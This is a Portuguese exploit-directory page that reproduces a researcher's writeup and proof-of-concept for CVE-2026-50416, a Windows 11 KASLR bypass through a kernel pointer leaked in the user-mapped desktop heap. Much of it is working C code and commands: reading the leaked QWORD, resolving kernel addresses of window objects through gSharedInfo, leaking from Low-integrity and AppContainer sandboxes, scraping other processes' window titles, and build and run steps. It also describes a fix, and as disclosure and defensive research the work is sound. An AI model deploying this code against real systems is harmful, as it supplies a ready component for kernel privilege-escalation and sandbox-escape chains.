Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/karollooool/cve-2026-50416-writeup-and-poc
Frameworks de ExploraçãoForensia de MemóriaAnálise de VulnerabilidadesExploraçãoColeta de InformaçõesCTFAnálise de BináriosPapers e PesquisaAprendizado e Educação
Labs e Prática
GitHubkarollooool/cve-2026-50416-writeup-and-poc

CVE-2026-50416-writeup-and-poc

CVE-2026-50416: bypass de KASLR no Windows 11

Ver RepositórioSite
4451há 23 diasRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-50416: Um QWORD a Mais no Desktop Heap

No Windows 11 Insider build 10.0.28020.2149, o mapeamento em modo de usuário do desktop heap do Win32k expôs um ponteiro bruto do pool de sessão do kernel no offset 0x100.

A leitura em si é quase ofensivamente pequena:

root@kitploit:~
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

Na minha sessão de teste, isso retornou:

root@kitploit:~
0xffffc600dcc00040

O valor permaneceu o mesmo entre processos no mesmo desktop e mudou após uma reinicialização. Um processo iniciado em outro desktop recebeu um valor diferente porque tinha um desktop heap diferente. A partir deste único QWORD, o PoC recuperou a base do desktop heap do kernel e então usou user32!gSharedInfo para derivar os endereços de kernel de objetos de janela ativos.

A mesma leitura funcionou a partir de Low integrity, AppContainer, uma configuração LPAC com zero capacidades, e um filho AppContainer de Low integrity com zero capacidades.

O desktop heap deveria ser compartilhado. O ponteiro do kernel não é.

O desktop heap a partir do modo de usuário

O Win32k armazena objetos USER como janelas, menus, classes, hooks e metadados relacionados em desktop heaps. Cada desktop tem seu próprio heap. Parte desse heap é mapeada em processos associados ao desktop para que o modo de usuário possa ler o estado compartilhado da GUI sem perguntar ao kernel por cada campo.

No build x64 testado, o mapeamento em modo de usuário pode ser alcançado através dos dados de cliente do TEB da thread atual:

root@kitploit:~
PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];

Os offsets são específicos do build, mas a rota é simples:

root@kitploit:~
GS:[0x30]
    -> TEB
    -> ClientInfo em TEB + 0x800
    -> ClientInfo[5]
    -> mapeamento do desktop heap em modo de usuário

O PoC chama VirtualQuery no endereço retornado e registra a região mapeada e sua proteção. Nada deu errado ainda. Um mapeamento de desktop heap somente leitura é comportamento normal do Win32k.

O problema começa 256 bytes adentro.

O ponteiro no offset 0x100

O PoC principal lê um QWORD do heap mapeado:

root@kitploit:~
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

O valor passou nas verificações básicas esperadas de um endereço virtual de kernel no sistema testado:

  • Bits altos canônicos
  • Alinhamento de oito bytes
  • Não é um dos valores sentinela conhecidos filtrados pelo PoC
  • Estável enquanto janelas eram criadas e destruídas
  • Idêntico em processos testados no mesmo desktop
  • Diferente após reinicialização
  • Diferente em outro desktop

O teste de estabilidade cria janelas STATIC, BUTTON e EDIT, lê o valor antes da criação, lê novamente enquanto as janelas existem, as destrói e lê uma terceira vez.

root@kitploit:~
ULONG64 before = *(ULONG64 *)(desktop_heap + 0x100);

HWND w1 = CreateWindowExA(0, "STATIC", "A", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w2 = CreateWindowExA(0, "BUTTON", "B", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w3 = CreateWindowExA(0, "EDIT", "C", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);

ULONG64 after_create = *(ULONG64 *)(desktop_heap + 0x100);

DestroyWindow(w1);
DestroyWindow(w2);
DestroyWindow(w3);

ULONG64 after_destroy = *(ULONG64 *)(desktop_heap + 0x100);

Todas as três leituras retornaram o mesmo valor. A atividade de alocação de janelas não o moveu. Esse comportamento é consistente com um campo nos metadados do desktop heap, em vez de um ponteiro de objeto de curta duração.

A propriedade entre processos é igualmente importante. Dois processos anexados ao mesmo desktop observam o mesmo valor vazado porque estão olhando para o mesmo desktop heap. Após uma reinicialização, o KASLR dá à sessão um novo endereço. Um filho colocado em outro desktop observa outro ponteiro porque esse desktop possui outro heap.

Isso dá ao vazamento uma identidade útil:

root@kitploit:~
mesmo boot + mesmo desktop      -> mesmo ponteiro
mesmo boot + desktop diferente -> ponteiro diferente
novo boot                       -> ponteiro diferente

Recuperando a base do desktop heap do kernel

No build testado, o ponteiro vazado está 0x40 bytes acima da base do desktop heap do kernel usada pelo PoC:

root@kitploit:~
ULONG64 kernel_desktop_heap_base = leaked - 0x40;

Usando o valor da sessão registrada:

root@kitploit:~
ponteiro vazado            = 0xffffc600dcc00040
base do desktop heap kernel = 0xffffc600dcc00000

Essa relação é específica do build. Para o build usado durante os testes, ela fornece a âncora do lado do kernel necessária para o próximo passo.

Um ponteiro já é útil. Um endereço para um objeto escolhido é muito mais útil.

Resolvendo um objeto de janela através do gSharedInfo

user32.dll exporta gSharedInfo, que expõe a lista de entradas de handles USER e o tamanho de cada entrada:

root@kitploit:~
typedef struct {
    PVOID psi;
    PVOID aheList;
    ULONG HeEntrySize;
} SHAREDINFO;

SHAREDINFO *shared = (SHAREDINFO *)GetProcAddress(
    GetModuleHandleA("user32.dll"),
    "gSharedInfo"
);

Um HWND contém um índice na tabela de handles USER. O PoC pega os 16 bits baixos do handle, caminha até a entrada correspondente e lê o offset do desktop heap armazenado ali.

root@kitploit:~
ULONG index = (ULONG)(ULONG_PTR)hwnd & 0xffff;
BYTE *entry = (BYTE *)shared->aheList + index * shared->HeEntrySize;
ULONG64 heap_offset = *(ULONG64 *)entry;

O mesmo offset nomeia o objeto em ambos os mapeamentos:

root@kitploit:~
BYTE *user_window = desktop_heap + heap_offset;
ULONG64 kernel_window = kernel_desktop_heap_base + heap_offset;

Então o cálculo completo é:

root@kitploit:~
base do desktop heap kernel = desktop_heap[0x100] - 0x40
índice do handle            = HWND & 0xffff
offset do heap              = aheList[índice do handle].offset
endereço da janela kernel   = base do desktop heap kernel + offset do heap

O PoC cria seis classes de janela e realiza o cálculo para cada uma:

  • STATIC
  • BUTTON
  • EDIT
  • LISTBOX
  • SCROLLBAR
  • COMBOBOX

Para cada objeto, ele imprime o HWND, índice do handle, endereço do objeto em modo de usuário, offset do heap e endereço de kernel.

root@kitploit:~
HWND
  -> índice do handle de 16 bits baixos
  -> entrada de handle do gSharedInfo
  -> offset do desktop heap
  -> base do desktop heap kernel + offset
  -> endereço de kernel daquele objeto de janela

Esta é a parte que transforma a divulgação de um ponteiro de kernel solto em um oráculo de endereços para objetos USER selecionados no desktop heap testado.

Por que os testes de sandbox importam

O desktop heap chega através de um mapeamento compartilhado. Níveis de integridade e restrições de AppContainer não reescrevem o conteúdo desse mapeamento para cada processo. Se o processo recebe o desktop heap, ele recebe o QWORD em 0x100 junto.

O PoC de sandbox lança filhos em vários contextos e faz cada filho ler o valor do seu próprio TEB e do seu próprio mapeamento de desktop heap.

ContextoConfiguraçãoResultado
Integridade médiaProcesso de usuário padrãoVazado
Integridade baixaIntegridade do token reduzida para LowVazado
AppContainerZero capacidades solicitadasVazado
Configuração LPACTodas as políticas de opt-out de pacotes de aplicativos, zero capacidades solicitadasVazado
AppContainer de integridade baixaLow IL mais AppContainer, zero capacidades solicitadasVazado
Desktop alternativoFilho atribuído a um novo desktopVazou um valor diferente

Os primeiros cinco filhos estavam anexados ao desktop padrão e retornaram o mesmo endereço. O filho do desktop alternativo retornou outro endereço porque recebeu outro desktop heap.

A saída do filho tem um formato compacto para que o pai possa comparar resultados:

root@kitploit:~
RESULT|LowIL+AppContainer|LEAKED|0xffffc600dcc00040|1|1234

O helper mais rigoroso também registra o estado do token e a contagem de capacidades:

root@kitploit:~
RESULT|LPAC_LowIL_NoCaps|LEAKED|0xffffc600dcc00040|IL=Low|AC=1|caps=0|PID=1234

O detalhe importante não é que o filho pode chamar uma API Win32k especial. Ele não precisa. Uma vez que o mapeamento está presente, o vazamento é uma leitura normal de memória em modo de usuário.

Nenhuma criação de janela necessária

Um helper separado realiza a leitura sem chamar CreateWindow.

Ele verifica o ponteiro do desktop heap, lê desktop_heap[0x100], carrega explicitamente user32.dll, verifica o mapeamento novamente e ainda assim nunca cria uma janela. Outro filho semelhante a um renderizador carrega user32.dll, realiza a mesma leitura e sai sem criar nenhuma janela.

O resultado útil é direto:

root@kitploit:~
Nenhum objeto de janela precisa ser criado antes de ler o QWORD vazado.

O vazamento pertence ao próprio mapeamento do desktop heap, não a uma janela criada pelo processo atacante.

O filho semelhante a um renderizador

supporting_proof_remote_trigger.c cria um filho AppContainer de Low integrity com zero capacidades solicitadas. O filho faz apenas uma pequena quantidade de trabalho:

root@kitploit:~
LoadLibraryA("user32.dll");

PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

Saída registrada:

root@kitploit:~
RENDERER|LEAKED|0xffffc600dcc00040|AC=1|IL=0x1000|NoWindowCreated

Isso demonstra a leitura a partir de uma configuração de token semelhante a um renderizador. Um bug separado de corrupção de memória do navegador que já dá execução de código nativo em tal processo não precisaria de outra divulgação de informações antes de ler este ponteiro do desktop heap.

O que mais estava visível no mapeamento

Uma vez que tive um ponteiro confiável, escaneei a região mapeada para ver o que mais estava presente.

Valores adicionais com formato de kernel

O scanner encontrou de seis a dez valores QWORD únicos adicionais por execução que passaram nas mesmas verificações de endereço canônico e alinhamento. O número exato mudava com a atividade do desktop. O offset 0x100 era o vazamento primário estável, mas não era o único valor com formato de endereço de kernel no mapeamento.

Títulos de janelas de outros processos

O helper de dados sensíveis enumera janelas de nível superior com EnumWindows, coleta seus PIDs e títulos proprietários, e então busca no mapeamento do desktop heap os mesmos títulos como strings UTF-16.

Na execução registrada, ele encontrou vinte títulos únicos pertencentes a outros processos. Os exemplos incluíam abas de navegador, Discord, Explorer, Spotify e janelas da bandeja do sistema.

O programa só imprime um título quando ambas as condições são verdadeiras:

  1. A string existe na região mapeada do desktop heap.
  2. EnumWindows relata uma janela com esse título e um PID proprietário diferente do processo de teste.

Isso torna a saída fácil de verificar em vez de depender de strings imprimíveis aleatórias encontradas na memória.

Ocorrências de IDs de processo

O helper também escaneia valores DWORD no mapeamento. Um valor é contado apenas quando:

  1. Parece um PID plausível.
  2. OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION) tem sucesso para ele.
  3. O PID também possui uma janela encontrada por EnumWindows.

A execução registrada encontrou 605 ocorrências DWORD correspondentes. Isso é uma contagem de ocorrências no heap, não 605 processos únicos. O mesmo PID pode aparecer mais de uma vez.

Texto de edição de senha

O helper cria um controle EDIT com ES_PASSWORD, define seu texto como SecretPassword123 e busca na região mapeada o prefixo SecretP. Não foi encontrado na execução testada.

Então o mapeamento expôs títulos, ocorrências de PID e valores com formato de kernel, enquanto a string de senha testada não apareceu ali.

O que o vazamento muda durante a exploração

Para um bug de corrupção de memória do Win32k, saber que um objeto existe não é o mesmo que saber onde ele vive na memória do kernel.

Sem a divulgação, o atacante tem que lidar com uma base de desktop heap desconhecida e endereços de objeto desconhecidos. Com a divulgação, o lado do endereço se torna:

root@kitploit:~
ler um QWORD
subtrair 0x40
ler a entrada de handle alvo
adicionar seu offset de heap

Para um HWND escolhido, o atacante agora tem o endereço correspondente do desktop heap do kernel no build testado. Isso pode ajudar com:

  • Rastrear um objeto alvo através da atividade do heap
  • Distinguir o objeto pretendido de alocações vizinhas
  • Calcular o endereço usado por uma primitiva separada de leitura, escrita ou corrupção
  • Verificar se a modelagem do heap produziu o layout esperado
  • Remover a adivinhação de endereço do desktop heap de uma cadeia de exploração do Win32k

O vazamento resolve o problema de endereço. A modelagem do heap, a substituição de objetos e a primitiva de corrupção de memória permanecem partes separadas da exploração.

Essa divisão importa. O KASLR não impede a corrupção de memória. Ele torna a segmentação confiável mais difícil. Este QWORD remove essa incerteza para a região do desktop heap usada pelo PoC.

Reprodução

Ambiente testado

root@kitploit:~
Windows 11 Insider Build 10.0.28020.2149
Usuário padrão
Integridade média como linha de base

Arquivos

  • kaslr_bypass_poc.c: PoC principal de vazamento e resolução de endereço de janela
  • kaslr_sandbox_proof.c: testes de Medium IL, Low IL, AppContainer, configuração LPAC, AppContainer de Low IL e desktop alternativo
  • supporting_proof_no_window.c: leitura sem criar uma janela
  • supporting_proof_no_caps_lpac.c: configurações AppContainer e LPAC de zero capacidades
  • supporting_proof_sensitive_data.c: títulos, ocorrências de PID, varredura de ponteiros extras e verificação de campo de senha
  • supporting_proof_exploitability.c: seis classes de janela e cálculos de endereço de kernel
  • supporting_proof_remote_trigger.c: filho AppContainer de Low IL semelhante a um renderizador
  • compile.bat: menu de compilação

Compilar

Execute:

root@kitploit:~
compile.bat

Selecione o alvo no menu.

O PoC principal também pode ser compilado diretamente de um prompt de comando de desenvolvedor do Visual Studio:

root@kitploit:~
cl /O2 /Fe:kaslr_bypass_poc.exe kaslr_bypass_poc.c /link user32.lib ntdll.lib

Validar o ponteiro

Execute o PoC principal duas vezes sem reiniciar:

root@kitploit:~
kaslr_bypass_poc.exe
kaslr_bypass_poc.exe

O ponteiro em desktop_heap + 0x100 deve ser idêntico em ambas as execuções.

Abra um segundo terminal e execute-o a partir de outro processo no mesmo desktop. O valor deve corresponder novamente.

Reinicie e repita. O valor deve mudar.

Executar o teste de sandbox

root@kitploit:~
kaslr_sandbox_proof.exe

O teste lança cada filho, captura sua saída e compara os valores vazados. Filhos no desktop padrão devem relatar o mesmo valor. O filho do desktop alternativo deve relatar um valor diferente.

Executar os helpers focados

root@kitploit:~
supporting_proof_no_window.exe
supporting_proof_no_caps_lpac.exe
supporting_proof_sensitive_data.exe
supporting_proof_exploitability.exe
supporting_proof_remote_trigger.exe

Cada helper isola uma parte do resultado para que possa ser reproduzida sem ler toda a saída do PoC completo.

Correção

O mapeamento em modo de usuário não deve conter endereços virtuais brutos do kernel.

A menor correção é sanear o campo do cabeçalho do desktop heap antes que a página se torne visível em modo de usuário. O Windows já usa um valor opaco 0x6000000000 para outros campos de ponteiro do desktop heap, então o mesmo estilo de substituição poderia ser usado aqui se o modo de usuário ainda precisar do campo.

Se o modo de usuário não precisar da página de cabeçalho, a correção mais limpa é não expor essa página no mapeamento compartilhado.

O teste de regressão é simples: criar processos em configurações de Medium IL, Low IL, AppContainer e LPAC, mapear o desktop heap e rejeitar qualquer endereço de kernel canônico encontrado no cabeçalho visível ao usuário.

Conclusão

Toda a cadeia começa com uma leitura comum de um mapeamento somente leitura:

root@kitploit:~
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

Esse QWORD identifica o desktop heap do kernel. gSharedInfo fornece o offset por objeto. Juntos, eles transformam um HWND em modo de usuário no endereço de kernel correspondente no build testado.

Nenhum gatilho complicado está escondido aqui. O Windows colocou o desktop heap onde o modo de usuário pudesse lê-lo e depois deixou um ponteiro de kernel dentro da parte que compartilhou.

Um QWORD foi suficiente.

Baixar ferramenta